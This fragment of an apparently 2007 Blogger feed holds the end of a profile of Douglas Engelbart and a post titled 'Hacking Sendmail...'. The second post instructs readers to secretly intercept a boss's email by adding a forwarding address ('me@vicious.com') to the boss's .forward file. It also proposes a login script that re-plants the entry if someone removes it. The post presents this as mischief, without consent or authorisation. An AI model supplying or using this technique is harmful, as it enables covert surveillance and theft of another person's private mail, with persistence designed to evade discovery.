/&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.discovery.com/DCO" target="_blank"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;http://www.discovery.com/DCO&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;" align="center" size="2" width="100%"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;  &lt;span style="font-weight: bold;font-size:100%;" &gt;                                                                    &lt;span style="color: rgb(255, 0, 0);"&gt;Douglas Engelbart&lt;/span&gt;&lt;/span&gt;  &lt;p style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: justify; color: rgb(102, 102, 0);"&gt; &lt;span style=";font-family:Arial;font-size:100%;"  &gt;Don't know why we missed him the first time out: Among other inventions, Dr. Engelbart is responsible for hypertext, windows, cross-file editing and the mouse. There would be no Net hacking without him. Engelbart first thought of hypermedia while serving as a radar technician during World War II. Seeing information displayed on a radar screen, he imagined sitting in front of a similar display, "flying around" in an information space. The engineer pursued his wild ideas in his own lab at the Stanford Research Institute, and first demonstrated his hypermedia "oNLine System" (or NLS) and computer mouse to a stunned audience in 1968. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;Holder of more than 20 patents, Engelbart is founder and director of the Bootstrap Institute, specializing in strategies, technologies and processes for building high-performance organizations, teams and individuals. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;He also likes to make up science-fiction stories for children. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;check out: &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://beluga.dc.isx.com/bootstrap/final/index.htm" target="_blank"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;http://beluga.dc.isx.com/bootstrap/final/index.htm&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1580353030807649837?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1580353030807649837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1580353030807649837' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1580353030807649837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1580353030807649837'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/03/brief-history-of-world-famous-hackers.html' title='Brief History of world famous &quot;hackers&quot;'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-8339059807681923606</id><published>2007-03-12T16:48:00.000+05:30</published><updated>2007-03-13T11:01:25.615+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='.forward'/><category scheme='http://www.blogger.com/atom/ns#' term='sendmail'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Hacking Sendmail...</title><content type='html'>There are scenarios when big people (busy big people!) give you the duty to check there mails and inform them about important mails periodically. Do you feel good about it? Do you sit before the computer screen looking at the stupid inbox, which has "important" messages just once in a blue-moon?? Its time you made the most out of your work!&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;I don't want to be a product of my environment. I want my environment to be a product of me. - Frank Costello&lt;/blockquote&gt;&lt;br /&gt;Before proceeding, i would like all the readers to execute the following assert statement, and if the assertion fails then probably the vicious contents of this post is not meant for you!&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;assert("Do you know Frank Costello?" == YES);&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Now, coming to sendmail, I would tell you about a technique to monitor your boss's inbox, without him being aware of it! Probably you may get more archaic ideas, once you know this! There is a file named ".forward" in the user's home directory. For those who use the sendmail to receive mails, this is the file you should attack. Many clients, like &lt;span style="font-style: italic;"&gt;Pine, &lt;/span&gt;also use sendmail as the backend engine for mails. Now, what you have to do is, simply add your email id in this file but before that, also write the full email id of your boss preceded by a "\". As an example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;\boss@stupido.com&lt;br /&gt;me@vicious.com&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;And you are ready! Each time a mail comes, it gets forwarded to your id, and this legacy continues, even after your boss fires you, provided the contents of the .forward file remains!! Maybe you can write another script which adds those contents each time your boss logs in!! This would rebuild your .forward even if someone discovers the leak and repairs it!! More anarchy is left to the readers to explore!!&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-8339059807681923606?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/8339059807681923606/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=8339059807681923606' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8339059807681923606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8339059807681923606'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/03/hacking-sendmail.html' title='Hacking Sendmail...'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>
